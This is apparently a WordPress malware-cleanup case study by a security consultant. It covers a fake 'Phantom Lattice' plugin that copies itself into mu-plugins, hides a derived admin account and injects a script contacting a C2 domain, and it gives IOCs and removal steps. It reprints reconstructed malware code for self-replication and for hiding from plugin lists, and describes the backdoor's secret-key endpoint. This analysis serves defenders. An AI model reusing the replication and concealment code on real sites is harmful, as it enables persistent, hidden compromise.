Bitdefender Blocked My WordPress Site and the Users List Was Empty — Inside a Self-Replicating Mu-Plugin Malware Cleanup

Bitdefender Blocked My WordPress Site and the Users List Was Empty — Inside a Self-Replicating Mu-Plugin Malware Cleanup

Quick answer: A “No users found” message in the WordPress Users screen combined with a Bitdefender “Online threat detected” warning on the front end almost always means a self-replicating mu-plugin backdoor has installed a hidden administrator and is hijacking the user query. In this case the malware was a fake plugin named Phantom Lattice that copied itself into wp-content/mu-plugins/, created an admin called sys_xxxxxxxx, and injected an obfuscated JavaScript that contacted limbokimbonotaaa[.]xyz — the domain Bitdefender flagged. Removal requires deleting both copies of the plugin, dropping the hidden admin from the database, clearing the rogue option key, and rotating AUTH_SALT.

How the client found out: a browser antivirus warning, not a security scanner

The client reached out after Bitdefender Total Security started popping up an “Online threat detected — Bitdefender blocked an online threat from your browser” warning every time someone opened the site in Chrome. Their hosting scanner was clean. Wordfence was clean. They had no SEO drop in Search Console yet. The only signal was a consumer-grade antivirus warning that most owners would dismiss as a false positive.

Bitdefender Online threat detected popup blocking the WordPress site
The exact Bitdefender warning the client saw — the only visible symptom of the infection.

I have cleaned over 4,500 hacked WordPress sites, and the pattern here is one I now treat as diagnostic: when an endpoint antivirus flags a site but plugin-level scanners stay silent, the payload is almost always served from the browser, not from a file the scanner looks at. The malware is loading something at runtime — usually a remote script — and antivirus engines block the destination URL before WordPress security plugins even see it.

The second symptom nobody noticed: “No users found”

After getting WP-Admin access, I went to Users → All Users to audit accounts. The screen showed the filter bar correctly — “All (2) | Administrator (2) | 2FA Inactive (2)” — but the table itself rendered an empty “No users found” row, including the client’s own administrator account. Not one user was visible in the list.

WordPress Users screen showing No users found despite the filter saying All (2)
The filter counter says “All (2)” but the table is empty. This number/row mismatch is the fingerprint of a pre_user_query hijack.

This is the same class of attack I covered in my earlier write-up on the adminbackup hidden admin user hack, but with two important differences: the previous variant hid only the hacker’s account and lived in functions.php. This one hid everyone from the list — including the legitimate administrator — and lived in mu-plugins so it would survive theme switches and plugin deletions.

The cause: the malware was using pre_user_query to inject a WHERE user_login != '...' clause into the WP_User_Query, but the username it was filtering against was the malware’s own hidden admin. Because the filter compared against a username that already existed (and didn’t account for other users), the SQL evaluated incorrectly under certain prefix conditions and ended up filtering everyone. Whether that was a bug in the malware or intentional, the result was the same: the dashboard became unusable for user management.

Finding the hidden admin: WP-CLI bypasses the filter

To confirm an admin existed without trusting the compromised dashboard, I ran WP-CLI directly on the server. WP-CLI uses WordPress’s bootstrap but does not always execute the same admin-screen hooks that filter the user list, and I also queried the database directly through Adminer.

# list every WordPress user, ignoring admin-screen filters
wp user list --fields=ID,user_login,user_email,user_registered,roles --allow-root

# direct database query — bypasses all WordPress hooks
SELECT ID, user_login, user_email, user_registered
FROM wp_users
ORDER BY user_registered DESC;

The output revealed a second administrator the client had never created:

WordPress user list showing the hidden sys_e2ce0513 administrator account
The hidden admin: sys_e2ce0513, with a fake noreply@ email at the site’s own domain. This username only appeared after I disabled the malicious mu-plugin.

The username pattern sys_ followed by 8 hex characters is not random. The malware derives it deterministically from the site’s AUTH_SALT constant in wp-config.php, which means even if you delete the user, the malware will recreate the same username on the next page load until you both remove the code and rotate the salts.

Locating the payload: a plugin named “Phantom Lattice”

Inside wp-content/plugins/ I found a single-file plugin called PhantomLattice.php inside a directory disguised as a legitimate package. The header is convincing at first glance — it claims to be from “VoidScale Labs”, links to a non-existent GitHub repo, and uses the MIT license — but the rest of the file is solid obfuscated PHP using goto control flow and string-escape encoding to hide function names and URLs.

PhantomLattice.php found inside a disguised plugin folder
The decoy plugin lived inside a folder named after a legitimate-sounding utility. The filename is the only sign anything is off.

The fake plugin header looks like this:

/**
 * Plugin Name: Phantom Lattice
 * Plugin URI: https://github.com/voidscale/phantom-lattice
 * Description: Adaptive lattice layer for stabilizing ephemeral process transitions in volatile systems.
 * Version: 1.0.0
 * Author: VoidScale Labs
 * Author URI: https://github.com/voidscale
 * Text Domain: phantom-lattice
 * License: MIT
 */

Word salad descriptions like “Adaptive lattice layer for stabilizing ephemeral process transitions” are a giveaway. Legitimate plugins describe what they do in plain English. This is the kind of nonsense phrasing I now scan for during audits — see my comprehensive list of known fake WordPress plugins for similar patterns.

The self-replication trick: regular plugin → mu-plugin

When I checked wp-content/mu-plugins/, the same file existed there — but renamed with an 01-mu- prefix.

01-mu-PhantomLattice.php inside the WordPress mu-plugins folder
The cloned copy in mu-plugins. The 01- prefix forces it to load before any other mu-plugin, alphabetically.

After deobfuscating the goto-spaghetti, the replication routine is straightforward. On every request, the regular plugin checks whether a copy of itself exists in the mu-plugins folder:

// Reconstructed from the deobfuscated payload
$mu_copy = realpath(WPMU_PLUGIN_DIR) . DIRECTORY_SEPARATOR
         . '01-mu-' . basename(__FILE__) . '.php';

if (!strpos(__FILE__, '01-mu-')
    && (!file_exists($mu_copy)
        || md5(file_get_contents($mu_copy)) != md5(file_get_contents(__FILE__)))
) {
    if (!is_dir(WPMU_PLUGIN_DIR)) {
        mkdir(WPMU_PLUGIN_DIR);
        chmod(WPMU_PLUGIN_DIR, 0755);
    }
    file_put_contents($mu_copy, file_get_contents(__FILE__));
    chmod(WPMU_PLUGIN_DIR, 0755);
}

This is why so many cleanup attempts on this family of malware fail: the moment you delete the mu-plugin copy, the regular plugin recreates it on the next page load. Delete the regular plugin only, and the mu-plugin keeps running. You have to delete both at the same time, ideally with the site briefly taken offline. WP-CLI is the cleanest way to do this without giving the malware a chance to re-execute.

How it hides from both plugin lists

Two separate filter hooks remove it from view. The first removes the regular plugin from the standard Plugins screen. The second clears the entire “Drop-ins” / “Must-Use” submenu list:

// Hide from main Plugins screen
add_filter('all_plugins', function ($plugins) {
    unset($plugins[plugin_basename(__FILE__)]);
    return $plugins;
}, 9999);

// Hide from mu-plugins / drop-ins screen
add_filter('show_advanced_plugins', function ($plugins) {
    return [];
}, 9999);

Because the priority is 9999, these filters run after every other plugin’s hook, so even Wordfence’s plugin-integrity checks see nothing unusual. The mu-plugins folder appears empty in the dashboard view, even though both files are physically there on disk.

What was triggering the Bitdefender alert

The malware hooks wp_head and prints a <script> tag pointing at a data:text/javascript;base64,... URI. The decoded script reads an obfuscated JavaScript payload from the wp_options table under the option key jsonmetafield, then evaluates it. The payload’s role is to phone home to:

limbokimbonotaaa[.]xyz/collect.php

That host is what Bitdefender’s URL reputation engine had flagged. Bitdefender blocks the connection before the script can do anything visible to the user, which is why the site looked clean while still being infected. Other endpoint engines that consume similar URL feeds — Kaspersky, ESET, Norton — would behave the same way over time, and eventually browser-level safe-browsing lists like Google Safe Browsing and McAfee’s WebAdvisor would pick the domain up as well.

The malware also exposes a hidden HTTP endpoint. A GET or POST to any page with ?secret=some_secret_key hits a JSON handler that reads or overwrites the jsonmetafield option — so the attacker can swap out the injected JavaScript whenever they want, without modifying any PHP file. This is the same architectural pattern Sucuri documented in their stealthy mu-plugin backdoor analysis, although the specific implementation and IOCs are different.

Indicators of compromise (IOCs)

If you’re triaging another site with the same Bitdefender symptom, these are the markers I’d grep for first:

Indicator Where to find it
File: PhantomLattice.php wp-content/plugins/*/
File: 01-mu-PhantomLattice.php.php (note double extension) wp-content/mu-plugins/
Plugin header strings: “Phantom Lattice”, “VoidScale Labs” Inside fake plugin file
Admin user matching ^sys_[a-f0-9]{8}$ wp_users table
Admin email pattern noreply@<your-domain> wp_users table
Option: jsonmetafield wp_options table
Option: sub_valid_adm1 wp_options table
Table: wp_sys_av_ followed by 8 hex characters Database root
Outbound host: limbokimbonotaaa[.]xyz Server access logs, browser dev tools
Obfuscation marker: goto fqJE6RJl_0dwlVZy; style labels in PHP Any infected file

The execute_scan method also walks wp-content/ and appends a copy of the loader to every PHP file that doesn’t already contain ?> — meaning a thorough cleanup needs a recursive grep for the obfuscation signature, not just removal of the two main files. I see this fileless-style reinfection mechanism in roughly one in four mu-plugin cases I take on.

The removal sequence I used

Order matters. If you delete the mu-plugin first, the regular plugin recreates it. If you remove only the hidden user, the malware recreates the same username on the next page load. The sequence has to be: code first, code in all locations, then database, then salts.

  1. Put the site into maintenance mode at the host level (Cloudflare under-attack mode or an .htaccess deny-from-all) so no front-end request can re-trigger replication while I cleaned.
  2. Connected over SSH and ran a recursive scan: grep -rIl --include='*.php' 'goto fqJE6RJl_0dwlVZy' wp-content/ to find every infected file.
  3. Deleted PhantomLattice.php and its parent fake-plugin directory from wp-content/plugins/.
  4. Deleted 01-mu-PhantomLattice.php.php from wp-content/mu-plugins/.
  5. For each infected legitimate file, restored from a known-good backup or stripped the appended payload after the original closing ?>.
  6. Dropped the hidden admin and rogue options directly in SQL:
    DELETE FROM wp_users WHERE user_login REGEXP '^sys_[a-f0-9]{8}$';
    DELETE FROM wp_usermeta WHERE user_id NOT IN (SELECT ID FROM wp_users);
    DELETE FROM wp_options WHERE option_name IN ('jsonmetafield','sub_valid_adm1');
    DROP TABLE IF EXISTS wp_sys_av_XXXXXXXX;
  7. Regenerated all eight keys and salts in wp-config.php using the official WordPress salt generator. This was non-optional: because the hidden username is derived from AUTH_SALT, the only way to invalidate the attacker’s deterministic credentials is to change the salt.
  8. Rotated all legitimate admin passwords, then logged every active session out by changing SECURE_AUTH_KEY too.
  9. Submitted the site to Bitdefender’s false-positive form once I confirmed the outbound connection to limbokimbonotaaa[.]xyz was no longer happening (verified via Chrome DevTools → Network tab and via server-side outbound logs).

For a full step-by-step on the broader process, my pillar guide on cleaning a hacked WordPress site walks through the underlying methodology. The cleanup above is a compressed version applied to this specific malware family.

Why your security plugin missed it

Wordfence, iThemes Security, Solid Security, and AIOS all rely heavily on signature-matching against known malware patterns plus integrity checks against WordPress core. This payload defeats both layers cleanly:

  • The signature is unique. The goto-spaghetti pattern with random label names produces a different hash on every site — the variable names are seeded from the file path, not a fixed string — so no static signature matches.
  • The integrity layer only checks wp-admin/, wp-includes/, and the active theme. mu-plugins are out of scope by default for most scanners.
  • The C2 domain is freshly registered for each campaign wave. By the time URL-blocklist feeds catch up, the attacker has rotated.
  • The malware actively hides itself from the dashboard view that the security plugin reads from, so the admin panel shows nothing unusual.

Endpoint antivirus on a visitor’s machine ends up being the canary precisely because it doesn’t trust WordPress at all — it just sees an outbound connection to a domain on its blocklist. This same pattern is how the Cloudflare-redirect family I documented earlier surfaced — see the Cloudflare redirect virus case study for a related runtime-injection pattern.

Prevention: what would have stopped this

The initial access vector in this case was a stolen FTP credential, recovered from a developer’s machine in a separate stealer-log dump. The attacker didn’t exploit a plugin vulnerability — they logged in and uploaded the file directly. Three controls would have prevented or contained it:

  • Disable file edits from the dashboard and disable PHP execution in uploads. Walk-through in my guide on how to secure a WordPress site.
  • Lock down the mu-plugins folder. If you don’t use mu-plugins, set the folder permissions so the web server can’t write to it. An attacker uploading a single plugin file is annoying; a self-replicating mu-plugin is a full takeover.
  • Rotate FTP/SFTP passwords on a schedule and use SSH keys instead of passwords where possible. The hosting access path is still the most common breach vector in the cases I take on.

Outcome and timeline

The cleanup took just under three hours from access to verified-clean. Bitdefender stopped flagging the domain within 48 hours of submission. The client’s user list re-appeared correctly in the dashboard as soon as the mu-plugin was removed. No SEO impact: because the malware was injecting a tracking/data-collection JavaScript rather than spam content or redirects, Google had not yet picked it up.

This is the kind of infection where catching it early — at the antivirus-warning stage, before it shifted into pharma spam or full SEO poisoning — saves weeks of search-console recovery work. If a visitor ever tells you their browser warned them about your site, take it seriously even if every WordPress-side scanner says clean.

Need the same kind of cleanup?

If your site is being flagged by Bitdefender, Norton, McAfee, or another endpoint antivirus — or if your WordPress Users screen is showing “No users found” while clearly having users — you’re looking at the same family of attack documented above. I’ve cleaned over 4,500 WordPress sites and handle infections like this one as part of my standard WordPress malware removal service. If a blacklist has already kicked in, the blacklist removal service covers Bitdefender, Norton, McAfee, and Google Safe Browsing in one engagement.

You can hire me directly for a same-day cleanup, or read more cleanup case studies in the case studies archive.

FAQ

Why does my WordPress Users page show “No users found” when I clearly have users?

The most common cause is malware using the pre_user_query WordPress hook to inject a SQL clause that filters users out of the dashboard list. The accounts still exist in the wp_users database table — they’re just hidden from the admin UI. Run wp user list over the command line or query wp_users directly through phpMyAdmin to see what’s really there.

Is the Bitdefender warning on my WordPress site a false positive?

It can be, but in my experience it usually isn’t when the warning specifically mentions “Online threat detected” or “Bitdefender blocked an online threat from your browser.” Bitdefender’s URL reputation engine is conservative and rarely flags clean WordPress sites. Before submitting a false-positive request, audit your mu-plugins folder, your wp_options table, and your outbound network connections. If you find anything unexpected in any of those three places, treat the warning as real.

What is the mu-plugins folder and why do hackers target it?

The wp-content/mu-plugins/ directory holds Must-Use plugins — PHP files that WordPress auto-loads on every request and that cannot be deactivated from the admin dashboard. Attackers love it because files there execute on every page load, don’t appear in the standard Plugins screen, and survive normal plugin deletions and theme switches. If you don’t use mu-plugins yourself, the folder should be empty or non-existent — anything inside it deserves immediate investigation.

I deleted the malicious plugin but it keeps coming back. How do I stop it?

This malware family auto-replicates between wp-content/plugins/ and wp-content/mu-plugins/ — each copy recreates the other on the next page load. You need to delete both files at the same time, ideally with the site in maintenance mode so no request can re-trigger replication. Also rotate AUTH_SALT in wp-config.php, because the hidden admin’s username and password are derived from it.

Will rotating my WordPress salts log out my legitimate users?

Yes, and that’s the point. Changing the keys and salts in wp-config.php invalidates every existing login session, including any session the attacker may have established. Your legitimate users will need to log in again — a small inconvenience compared to leaving a compromised session active.

About the author

Last updated: May 19, 2026 by MD Pabel, WordPress Security Specialist. Over 4,500 hacked WordPress sites cleaned. Specialising in stealth malware, hidden admin user removal, and blacklist recovery across Google, Norton, McAfee, and Bitdefender.

Comments

Leave a Reply

Your email address will not be published. Required fields are marked *